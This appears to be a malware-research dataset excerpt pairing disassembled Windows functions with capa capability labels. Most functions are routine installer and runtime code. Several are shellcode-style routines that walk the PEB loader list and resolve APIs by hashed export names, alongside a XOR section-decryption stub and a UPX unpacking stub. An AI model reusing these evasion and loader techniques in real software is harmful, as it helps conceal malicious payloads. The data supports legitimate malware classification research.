joyce8/EMBER2024-capa huggingface dataset:
Function at 0x411aa0
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x48
mov eax, dword [0x435e80]
xor eax, esp
mov dword [esp + 0x44], eax
push ebx
mov ebx, dword [esp + 0x50]
push esi
mov esi, dword [esp + 0x58]
push 0x3f
lea eax, [esp + 0x11]
push 0
push eax
mov byte [esp + 0x18], 0
call fcn.00412590
add esp, 0xc
test ebx, ebx
je 0x411c39
test esi, esi
jne 0x411c24
push edi
push 0x105
lea esi, [ebx + 0x135]
push 0
push esi
call fcn.00412590
mov edi, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
add esp, 0xc
push 0x104
push esi
push 0x42d434
call edi
test eax, eax
jle 0x411b48
cmp eax, 0x104
jae 0x411b48
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x411b18
sub eax, edx
cmp byte [eax + ebx + 0x134], 0x5c
je 0x411b9c
mov edi, esi
add edi, 0xffffffff
mov al, byte [edi + 1]
add edi, 1
test al, al
jne 0x411b32
mov cx, word [0x42b064]
mov word [edi], cx
jmp 0x411b9c
push 0x104
push esi
push 0x42d430
call edi
test eax, eax
jle 0x411b96
cmp eax, 0x104
jae 0x411b96
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x411b65
sub eax, edx
cmp byte [eax + ebx + 0x134], 0x5c
je 0x411b9c
mov edi, esi
add edi, 0xffffffff
nop
mov al, byte [edi + 1]
add edi, 1
test al, al
jne 0x411b80
mov dx, word [0x42b064]
mov word [edi], dx
jmp 0x411b9c
mov dword [esi], 0x5c3a43
mov eax, esi
lea edx, [eax + 1]
pop edi
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x411ba2
sub eax, edx
mov ecx, 0x104
sub ecx, eax
push ecx
push str.KASetup.log
push esi
call fcn.004152d0
push 0x42ec54
push esi
call fcn.0041349e
mov esi, eax
add esp, 0x14
test esi, esi
je 0x411c39
lea edx, [esp + 8]
push edx
call fcn.00416e9e
lea eax, [esp + 0xc]
push eax
call fcn.00416e7a
push eax
push str._Y__m__d__H:_M:_S
lea ecx, [esp + 0x1c]
push 0x40
push ecx
call fcn.00417acc
lea edx, [esp + 0x24]
push edx
push str.Installation_start_time:__s_n
push esi
call fcn.00416ed7
push esi
call fcn.0041304c
add esp, 0x28
pop esi
pop ebx
mov ecx, dword [esp + 0x44]
xor ecx, esp
call fcn.00412a21
add esp, 0x48
ret
push 0x105
push esi
add ebx, 0x135
push ebx
call fcn.00413710
add esp, 0xc
mov ecx, dword [esp + 0x4c]
pop esi
pop ebx
xor ecx, esp
call fcn.00412a21
add esp, 0x48
ret

Function at 0x412a21
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x435e80]
jne 0x412a2b
repz ret
jmp fcn.0041a2bc
Function at 0x412c11
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov ecx, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
xor edi, edi
cmp dword [ebp + 0x10], edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], ebx
je 0x412c4e
cmp dword [ebp + 0x14], edi
je 0x412c4e
cmp ecx, edi
jne 0x412c55
call fcn.00414ab8
push edi
push edi
push edi
push edi
mov dword [eax], 0x16
push edi
call fcn.0041423a
add esp, 0x14
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov esi, dword [ebp + 0x18]
cmp esi, edi
je 0x412c69
or eax, 0xffffffff
xor edx, edx
div dword [ebp + 0x10]
cmp dword [ebp + 0x14], eax
jbe 0x412c8a
cmp ebx, 0xffffffff
je 0x412c79
push ebx
push edi
push ecx
call fcn.00412590
add esp, 0xc
cmp esi, edi
je 0x412c36
or eax, 0xffffffff
xor edx, edx
div dword [ebp + 0x10]
cmp dword [ebp + 0x14], eax
ja 0x412c36
mov edi, dword [ebp + 0x10]
imul edi, dword [ebp + 0x14]
test word [esi + 0xc], 0x10c
mov dword [ebp - 0x10], edi
mov ebx, edi
je 0x412ca6
mov eax, dword [esi + 0x18]
mov dword [ebp - 0xc], eax
jmp 0x412cad
mov dword [ebp - 0xc], 0x1000
test edi, edi
je 0x412d9e
test word [esi + 0xc], 0x10c
je 0x412d01
mov eax, dword [esi + 4]
test eax, eax
je 0x412d01
jl 0x412dff
cmp ebx, eax
mov edi, ebx
jb 0x412cd2
mov edi, eax
cmp edi, dword [ebp - 4]
ja 0x412da6
push edi
push dword [esi]
push dword [ebp - 4]
push dword [ebp - 8]
call fcn.00414059
sub dword [esi + 4], edi
add dword [esi], edi
add dword [ebp - 8], edi
sub ebx, edi
add esp, 0x10
sub dword [ebp - 4], edi
mov edi, dword [ebp - 0x10]
jmp 0x412d96
cmp ebx, dword [ebp - 0xc]
jb 0x412d6e
cmp dword [ebp - 0xc], 0
je 0x412d2b
mov ecx, 0x7fffffff
xor edx, edx
cmp ebx, ecx
jbe 0x412d20
mov eax, ecx
div dword [ebp - 0xc]
mov eax, ecx
jmp 0x412d27
mov eax, ebx
div dword [ebp - 0xc]
mov eax, ebx
sub eax, edx
jmp 0x412d36
mov eax, 0x7fffffff
cmp ebx, eax
ja 0x412d36
mov eax, ebx
cmp eax, dword [ebp - 4]
ja 0x412dd2
push eax
push dword [ebp - 8]
push esi
call fcn.0041abc2
pop ecx
push eax
call fcn.0041b471
add esp, 0xc
test eax, eax
je 0x412e11
cmp eax, 0xffffffff
je 0x412dff
add dword [ebp - 8], eax
sub ebx, eax
sub dword [ebp - 4], eax
jmp 0x412d96
push esi
call fcn.0041ad90
cmp eax, 0xffffffff
pop ecx
je 0x412e03
cmp dword [ebp - 4], 0
je 0x412dd2
mov ecx, dword [ebp - 8]
inc dword [ebp - 8]
mov byte [ecx], al
mov eax, dword [esi + 0x18]
dec ebx
dec dword [ebp - 4]
mov dword [ebp - 0xc], eax
test ebx, ebx
jne 0x412cb5
mov eax, dword [ebp + 0x14]
jmp 0x412c50
xor esi, esi
cmp dword [ebp + 0xc], 0xffffffff
je 0x412dbd
push dword [ebp + 0xc]
push esi
push dword [ebp + 8]
call fcn.00412590
add esp, 0xc
call fcn.00414ab8
push esi
push esi
push esi
push esi
mov dword [eax], 0x22
push esi
jmp 0x412c46
cmp dword [ebp + 0xc], 0xffffffff
je 0x412de8
push dword [ebp + 0xc]
push 0
push dword [ebp + 8]
call fcn.00412590
add esp, 0xc
call fcn.00414ab8
mov dword [eax], 0x22
xor eax, eax
push eax
push eax
push eax
push eax
push eax
jmp 0x412c46
or dword [esi + 0xc], 0x20
mov eax, edi
sub eax, ebx
xor edx, edx
div dword [ebp + 0x10]
jmp 0x412c50
or dword [esi + 0xc], 0x10
jmp 0x412e03
Function at 0x41b88a
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
xor esi, esi
xor edi, edi
cmp ebx, dword [edi*8 + 0x436b08]
je 0x41b8a5
inc edi
cmp edi, 0x17
jb 0x41b896
cmp edi, 0x17
jae 0x41ba25
push ebp
push 3
call fcn.0042464c
cmp eax, 1
pop ecx
je 0x41b9f1
push 3
call fcn.0042464c
test eax, eax
pop ecx
jne 0x41b8d9
cmp dword [0x43661c], 1
je 0x41b9f1
cmp ebx, 0xfc
je 0x41ba24
push 0x42fcb8
mov ebx, 0x314
push ebx
mov ebp, 0x438780
push ebp
call fcn.00415476
add esp, 0xc
test eax, eax
je 0x41b90f
push esi
push esi
push esi
push esi
push esi
call fcn.0041413e
add esp, 0x14
push 0x104
mov esi, 0x438799
push esi
push 0
mov byte [0x43889d], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x41b953
push 0x42fca0
push 0x2fb
push esi
call fcn.00415476
add esp, 0xc
test eax, eax
je 0x41b953
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.0041413e
add esp, 0x14
push esi
call fcn.00418e50
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x41b998
push esi
call fcn.00418e50
sub esi, 0x3b
add eax, esi
push 3
mov ecx, 0x438a94
push 0x42fc9c
sub ecx, eax
push ecx
push eax
call fcn.0041fe96
add esp, 0x14
test eax, eax
je 0x41b998
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call fcn.0041413e
add esp, 0x14
jmp 0x41b99a
xor esi, esi
push 0x42fc98
push ebx
push ebp
call fcn.00415405
add esp, 0xc
test eax, eax
je 0x41b9ba
push esi
push esi
push esi
push esi
push esi
call fcn.0041413e
add esp, 0x14
push dword [edi*8 + 0x436b0c]
push ebx
push ebp
call fcn.00415405
add esp, 0xc
test eax, eax
je 0x41b9dc
push esi
push esi
push esi
push esi
push esi
call fcn.0041413e
add esp, 0x14
push 0x12010
push 0x42fc70
push ebp
call fcn.0042448f
add esp, 0xc
jmp 0x41ba24
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebp, eax
cmp ebp, esi
je 0x41ba24
cmp ebp, 0xffffffff
je 0x41ba24
push 0
lea eax, [esp + 0x14]
push eax
lea esi, [edi*8 + 0x436b0c]
push dword [esi]
call fcn.00418e50
pop ecx
push eax
push dword [esi]
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x42448f
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.00419c52
xor ebx, ebx
cmp dword [0x438cc4], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x424565
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x424645
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x430e38
push edi
call esi
cmp eax, ebx
je 0x424645
push eax
call fcn.00419be4
mov dword [esp], 0x430e28
push edi
mov dword [0x438cc4], eax
call esi
push eax
call fcn.00419be4
mov dword [esp], 0x430e14
push edi
mov dword [0x438cc8], eax
call esi
push eax
call fcn.00419be4
mov dword [0x438ccc], eax
lea eax, [ebp - 0xc]
push eax
call fcn.0041b617
test eax, eax
pop ecx
pop ecx
je 0x424533
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0041413e
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x424565
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.00419be4
cmp eax, ebx
pop ecx
mov dword [0x438cd4], eax
je 0x424565
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00419be4
pop ecx
mov dword [0x438cd0], eax
mov eax, dword [0x438cd0]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x4245ea
cmp dword [0x438cd4], ecx
je 0x4245ea
push eax
call fcn.00419c5b
push dword [0x438cd4]
mov esi, eax
call fcn.00419c5b
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x4245ea
cmp edi, ebx
je 0x4245ea
call esi
cmp eax, ebx
je 0x4245b7
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4245b7
test byte [ebp - 0x18], 1
jne 0x4245ea
lea eax, [ebp - 0x10]
push eax
call fcn.0041b64e
test eax, eax
pop ecx
je 0x4245d2
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0041413e
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x4245e1
or dword [ebp + 0x10], 0x200000
jmp 0x424625
or dword [ebp + 0x10], 0x40000
jmp 0x424625
mov eax, dword [0x438cc8]
cmp eax, dword [ebp - 8]
je 0x424625
push eax
call fcn.00419c5b
cmp eax, ebx
pop ecx
je 0x424625
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x424625
mov eax, dword [0x438ccc]
cmp eax, dword [ebp - 8]
je 0x424625
push eax
call fcn.00419c5b
cmp eax, ebx
pop ecx
je 0x424625
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x438cc4]
call fcn.00419c5b
cmp eax, ebx
pop ecx
je 0x424645
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x424647
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401750
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, dword [sym.imp.MSVCRT.dll__iob]
lahf
invalid

Function at 0x4023f0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
cmc
jg 0x40242c
push edx
xchg esi, eax
test byte [eax + edx*2], ch
popal
invalid

Function at 0x402981
Capabilities:
Access peb ldr_data

Disassembly:
pop esi
nop
repne movsb byte es:[edi], byte [esi]
jmp 0x402956
call 0x402981
mov ebx, 0xa2a1de0
push 0x9dbd95a6
call ebp
cmp al, 6
jl 0x40297b
cmp bl, 0xe0
jmp 0x402973
jne 0x40297b
nop
mov ebx, 0x6f721347
push 0
nop
push ebx
call ebp
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
push eax
push 0x160d6838
call ebp
pop eax
pop eax
popal
jmp 0x402a94
fldpi
wait
fnstenv [esp - 0xc]
xor edx, edx
mov dl, 0x77
xor ecx, ecx
mov esi, dword fs:[ecx + 0x30]
mov esi, dword [esi + 0xc]
mov esi, dword [esi + 0x1c]
mov eax, dword [esi + 8]
mov edi, dword [esi + 0x20]
mov esi, dword [esi]
cmp byte [edi + 0x18], cl
jne 0x402aab
pop ecx
add ecx, edx
jmp ecx

Function at 0x402998
Capabilities:
Access peb ldr_data
Encode data using xor

Disassembly:
call fcn.00402949
and sp, 0xfffc
xor esi, esi
mov esi, dword fs:[esi + 0x30]
mov esi, dword [esi + 0xc]
mov esi, dword [esi + 0x1c]
push esi
mov si, 0x1aaa
pop edi
mov ebp, dword [edi + 8]
push dword [edi]
mov ebx, dword [ebp + 0x3c]
mov ebx, dword [ebp + ebx + 0x78]
add ebx, ebp
mov ecx, dword [ebx + 0x18]
jcxz 0x4029b3
mov edi, dword [ebx + 0x20]
add edi, ebp
mov edi, dword [edi + ecx*4 - 4]
add edi, ebp
xor eax, eax
cdq
xor dl, byte [edi]
ror dx, 1
scasb al, byte es:[edi]
jne 0x4029d6
dec ecx
cmp dx, si
je 0x4029ed
jcxz 0x4029b3
jmp 0x4029c8
mov esi, dword [ebx + 0x24]
add esi, ebp
movzx esi, word [esi + ecx*2]
mov eax, dword [ebx + 0x1c]
add eax, ebp
mov edi, dword [eax + esi*4]
add edi, ebp
xor esi, esi
cmp dx, 0xf0da
je 0x402a24
cmp dx, 0x2769
je 0x402a30
push 0x32
push 0x33656c6f
push esp
call edi
xchg ebp, eax
mov si, 0xf0da
jmp 0x4029b9
push esi
call edi
mov si, 0x2769
jmp 0x4029b9
push 0xd422046e
push 0x99efeca1
push 0x499272b9
push 0x6c44df74
mov eax, esp
push 0x9673794f
push 0xc001e39e
dec dword [esp + 2]
push 0x11d23391
push 0x96749377
mov ebx, esp
push esi
push esp
push eax
push 0x17
push esi
push ebx
call edi
pop ebx
push 0x5520676f
push 0x7420706f
push 0x686e6421
xchg esi, eax
mov esi, esp
push eax
lodsb al, byte [esi]
push ax
cmp al, 0x55
jne 0x402a7d
mov ecx, esp
xor eax, eax
push eax
push eax
push ecx
push ebx
mov edx, dword [ebx]
mov ecx, dword [edx + 0x50]
call ecx
int3

Function at 0x406cc3
Capabilities:
Parse pe header

Disassembly:
call fcn.00407996
test al, al
jne 0x406ccf
xor al, al
ret
push 0
call fcn.004022a6
pop ecx
mov ecx, eax
test ecx, ecx
je 0x406ccc
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x406ccc
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x406ccc
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x406ccc
cmp dword [eax + 0x74], 0xe
jbe 0x406ccc
cmp dword [eax + 0xe8], 0
setne al
ret
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
nop
je 0x433072
mov ebx, 0x40de38
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x67e7a03
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
loop 0x433060
nop
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
je 0x4330d2
nop
nop
nop
nop
mov ebx, 0x4304d8
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x39c52e1c
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4330c0
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x53d330
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xcf000]
push edi
or ebp, 0xffffffff
jmp 0x53d352
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x53d359
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x53d348
mov eax, 1
add ebx, ebx
jne 0x53d36b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x53d37c
jne 0x53d39b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x53d39b
dec eax
add ebx, ebx
jne 0x53d388
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x53d360
add ebx, ebx
jne 0x53d397
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x53d3ed
xor ecx, ecx
sub eax, 3
jb 0x53d3b3
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x53d422
sar eax, 1
mov ebp, eax
jmp 0x53d3be
add ebx, ebx
jne 0x53d3be
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x53d38c
inc ecx
add ebx, ebx
jne 0x53d3cc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x53d38c
add ebx, ebx
jne 0x53d3d9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x53d3ce
jne 0x53d3ea
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x53d3ce
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x53d40c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x53d3fe
jmp 0x53d34e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x53d40c
add edi, ecx
jmp 0x53d34e
pop esi
mov edi, esi
mov ecx, 0x3841
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x53d42a
cmp byte [edi], 0x15
jne 0x53d42a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x53d42f
lea edi, [esi + 0x13a000]
mov eax, dword [edi]
or eax, eax
je 0x53d4a7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x159fc4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x15a088]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x53d45c
mov ecx, edi
jns 0x53d48b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x15a090]
or eax, eax
je 0x53d4a1
mov dword [ebx], eax
add ebx, 4
jmp 0x53d479
call dword [esi + 0x15a08c]
mov ebp, dword [esi + 0x15a094]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x53d4db
sub esp, 0xffffff80
jmp 0x470a61
Function at 0x409859
Capabilities:
Get graphical window text

Disassembly:
mov eax, 0x52a774
call fcn.004c9d2c
sub esp, 0x20
push ebx
xor edx, edx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], edx
xor eax, eax
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebx + 0x10], edx
mov dword [ebx + 0x14], 0xf
mov byte [ebx], dl
push dword [ecx + 0x48]
mov dword [ebp - 4], edx
mov dword [ebp - 0x10], 1
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
mov esi, eax
mov ecx, ebx
push 0
push esi
call fcn.004130fd
xor ecx, ecx
lea ebx, [esi + 1]
push 2
pop edx
mov eax, ebx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.004c998c
mov edi, eax
xor eax, eax
pop ecx
push ebx
push edi
mov word [edi + esi*2], ax
mov eax, dword [ebp - 0x14]
push dword [eax + 0x48]
call dword [sym.imp.USER32.dll_GetWindowTextW]
push 0
lea eax, [ebp - 0x2c]
push edi
push eax
call fcn.004136fc
mov ecx, dword [ebp + 8]
add esp, 0xc
push eax
call fcn.00405adb
lea ecx, [ebp - 0x2c]
call fcn.00412054
push ebx
push 0
push edi
call fcn.004cf050
push edi
call fcn.004c9995
mov eax, dword [ebp + 8]
add esp, 0x10
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x409f3c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 8]
push ebx
xor ebx, ebx
push esi
cmp dword [eax + 0x14], 0xf
jbe 0x409f4c
mov eax, dword [eax]
mov ecx, dword [esp + 0xc]
cmp dword [ecx + 0x14], 0xf
jbe 0x409f58
mov ecx, dword [ecx]
push eax
push ecx
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
je 0x409fbe
push edi
push esi
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
push dword [esp + 0x20]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x409fbd
test edi, edi
je 0x409fbd
push ebp
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebp, eax
test ebp, ebp
je 0x409fbc
mov esi, dword [esp + 0x1c]
lea eax, [esp + 0x18]
push eax
push edi
mov ecx, esi
mov byte [esp + 0x20], bl
call fcn.00402bf2
push edi
push ebp
push dword [esi]
call fcn.004ce550
add esp, 0xc
mov bl, 1
pop ebp
pop edi
pop esi
mov al, bl
pop ebx
ret
Function at 0x409fc3
Capabilities:
Read file on windows

Disassembly:
mov eax, 0x52a7cb
call fcn.004c9d2c
sub esp, 0x3c
push ebx
push esi
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0x30]
push edi
push esi
call fcn.00403a19
and dword [ebp - 4], 0
lea eax, [ebp - 0x30]
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00403a19
lea eax, [ebp - 0x48]
push eax
call fcn.004134ef
add esp, 0x1c
lea ecx, [ebp - 0x30]
push eax
call fcn.00405adb
lea ecx, [ebp - 0x48]
call fcn.00412054
mov eax, dword [ebp - 0x20]
cmp eax, 4
jle 0x40a0df
lea ecx, [ebp - 0xd]
add eax, 0xfffffffc
push ecx
push 0xffffffffffffffff
push eax
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x48]
call fcn.00403a4d
push str..txt
lea ecx, [ebp - 0x48]
call fcn.004113ba
lea ecx, [ebp - 0x48]
mov bl, al
call fcn.00412054
test bl, bl
je 0x40a0df
xor ebx, ebx
cmp dword [esi + 0x14], 0xf
mov dword [ebp - 0x14], ebx
jbe 0x40a05c
mov esi, dword [esi]
push 0x542af4
lea eax, [ebp - 0x14]
push esi
push eax
call fcn.004f6e57
add esp, 0xc
test eax, eax
jne 0x40a0e1
cmp dword [ebp - 0x14], ebx
je 0x40a0e1
push 2
push ebx
push dword [ebp - 0x14]
call fcn.004f779d
push dword [ebp - 0x14]
call fcn.004f7fdf
push ebx
push ebx
push dword [ebp - 0x14]
mov edi, eax
call fcn.004f779d
xor ebx, ebx
add esp, 0x1c
inc ebx
test edi, edi
je 0x40a0d4
mov esi, dword [ebp + 0xc]
lea eax, [edi + 1]
push 0
push eax
mov ecx, esi
call fcn.004130fd
cmp dword [esi + 0x14], 0xf
mov eax, esi
jbe 0x40a0ba
mov eax, dword [esi]
push dword [ebp - 0x14]
push edi
push ebx
push eax
call fcn.004f7283
add esp, 0x10
cmp dword [esi + 0x14], 0xf
jbe 0x40a0d0
mov esi, dword [esi]
mov byte [esi + edi], 0
push dword [ebp - 0x14]
call fcn.004f6fff
pop ecx
jmp 0x40a0e1
xor bl, bl
lea ecx, [ebp - 0x30]
call fcn.00412054
mov ecx, dword [ebp - 0xc]
mov al, bl
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret
Function at 0x40b89e
Capabilities:
Hide graphical window

Disassembly:
sub esp, 0x18
push ebx
push ebp
push esi
mov esi, ecx
push edi
lea eax, [esi + 0x24]
push eax
lea eax, [esp + 0x14]
push eax
call fcn.0041362a
pop ecx
pop ecx
push 7
pop ebp
cmp dword [eax + 0x14], ebp
jbe 0x40b8bc
mov eax, dword [eax]
push eax
lea ebx, [esi + 4]
push dword [ebx]
call dword [sym.imp.USER32.dll_SetWindowTextW]
lea ecx, [esp + 0x10]
call fcn.0041207a
lea eax, [esi + 0x3c]
push eax
lea eax, [esp + 0x14]
push eax
call fcn.0041362a
pop ecx
pop ecx
cmp dword [eax + 0x14], ebp
jbe 0x40b8e8
mov eax, dword [eax]
mov edi, dword [sym.imp.USER32.dll_SetDlgItemTextW]
push eax
push 0x3ec
push dword [ebx]
call edi
lea ecx, [esp + 0x10]
call fcn.0041207a
lea eax, [esi + 0x54]
push eax
lea eax, [esp + 0x14]
push eax
call fcn.0041362a
pop ecx
pop ecx
cmp dword [eax + 0x14], ebp
jbe 0x40b918
mov eax, dword [eax]
push eax
push 0x3ed
push dword [ebx]
call edi
lea ecx, [esp + 0x10]
call fcn.0041207a
lea eax, [esi + 0x9c]
push eax
lea eax, [esp + 0x14]
push eax
call fcn.0041362a
pop ecx
pop ecx
cmp dword [eax + 0x14], ebp
jbe 0x40b945
mov eax, dword [eax]
push eax
push 0x3eb
push dword [ebx]
call edi
lea ecx, [esp + 0x10]
call fcn.0041207a
lea eax, [esp + 0x10]
push 0xea
push eax
call fcn.00410eaf
pop ecx
pop ecx
cmp dword [eax + 0x14], ebp
jbe 0x40b970
mov eax, dword [eax]
push eax
push 2
push dword [ebx]
call edi
lea ecx, [esp + 0x10]
call fcn.0041207a
lea eax, [esi + 0x6c]
push eax
lea eax, [esp + 0x14]
push eax
call fcn.0041362a
pop ecx
pop ecx
cmp dword [eax + 0x14], ebp
jbe 0x40b997
mov eax, dword [eax]
push eax
push 0x3ea
push dword [ebx]
call edi
lea ecx, [esp + 0x10]
call fcn.0041207a
lea eax, [esi + 0x84]
push eax
lea eax, [esp + 0x14]
push eax
call fcn.0041362a
pop ecx
pop ecx
cmp dword [eax + 0x14], ebp
jbe 0x40b9c4
mov eax, dword [eax]
push eax
mov ebp, 0x3e8
push ebp
push dword [ebx]
call edi
lea ecx, [esp + 0x10]
call fcn.0041207a
cmp byte [esi + 0x20], 0
jne 0x40ba02
mov edi, dword [sym.imp.USER32.dll_GetDlgItem]
push ebp
push dword [ebx]
call edi
mov esi, dword [sym.imp.USER32.dll_ShowWindow]
push 0
push eax
call esi
push 0x3ed
push dword [ebx]
call edi
push 0
push eax
call esi
push dword [ebx]
call dword [sym.imp.USER32.dll_GetParent]
push eax
mov ecx, ebx
call fcn.004078d3
pop edi
pop esi
xor eax, eax
pop ebp
inc eax
pop ebx
add esp, 0x18
ret 0x10

Function at 0x40c05c
Capabilities:
Create process on windows

Disassembly:
movzx eax, word [esp + 8]
push 5
push 0
push 0
sub eax, 0x8012
je 0x40c0a5
sub eax, 1
je 0x40c09e
sub eax, 1
je 0x40c097
sub eax, 1
je 0x40c090
sub eax, 1
je 0x40c089
push str.https:__steganos.com_locknote
jmp 0x40c0aa
push str.https:__store.steganos.com_1234_purl_LNOFFER
jmp 0x40c0aa
push str.https:__steganos.com_sos
jmp 0x40c0aa
